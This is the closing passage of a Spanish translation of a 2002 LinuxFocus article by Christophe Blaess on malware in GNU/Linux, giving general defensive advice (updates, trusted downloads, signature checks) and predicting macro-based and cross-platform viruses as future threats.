Observando estos programas nocivos encontrados en el mundo Gnu/linux podemos concluir: ¡el software libre no está a salvo de virus, gusanos, troyanos, u otros! Sin ser alarmista, se debe vigilar las alertas de seguridad que afecten a las aplicaciones actuales, sobre todo si nos conectamos frecuentemente a Internet. Es importante tomar buenos hábitos desde ahora: actualizar el software en cuanto se descubran vulnerabilidades; descargar aplicaciones de sitios web de confianza; comprobar todo lo que sea posible las firmas PGP o MD5 de los paquetes descargados. Los más "serios" automatizarán la supervisión de las aplicaciones instaladas, por ejemplo con scripts.

Tenemos que hacer una segunda anotación: los dos peligros principales para los sistemas Linux en el futuro serán tanto las aplicaciones ofimáticas que interpreten a ciegas las macros contenidas en documentos (incluyendo correo electrónico), como los virus multi-plataforma que, incluso ejecutándose en Windows, invadirán ficheros ejecutables encontrados en una partición Linux de la misma máquina. Si el primer problema depende del entorno del usuario, que podría impedir a sus aplicaciones ofimáticas aceptar cualquier cosa, el segundo es mucho más difícil de resolver, incluso para un administrador concienzudo. En un futuro muy cercano, poderosos detectores de virus deberían estar implementados para las estaciones Linux conectadas a Internet; esperemos que estos proyectos aparezcan muy pronto en el mundo del software libre.

 

Bibliografía

El número de documentos sobre virus, troyanos y otro software nocivo es bastante numeroso; hay muchos textos que tratan de los virus actuales, cómo funcionan y qué hacen. Por supuesto, la mayoría de los listados afectan a Dos/Windows pero algunos afectan a Linux. Los artículos mencionados aquí son sobre todo clásicos y analizan el mecanismo teórico de implementación.

 

Formulario de "talkback" para este artículo

Cada artículo tiene su propia página de "talkback". A través de esa página puedes enviar un comentario o consultar los comentarios de otros lectores
 Ir a la página de "talkback" 

Contactar con el equipo de LinuFocus
© Christophe Blaess, FDL
LinuxFocus.org

Pinchar aquí para informar de algún problema o enviar comentarios a LinuxFocus
Información sobre la traducción:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> es: Roberto Hernando (homepage)

2002-10-06, generated by lfparser version 2.21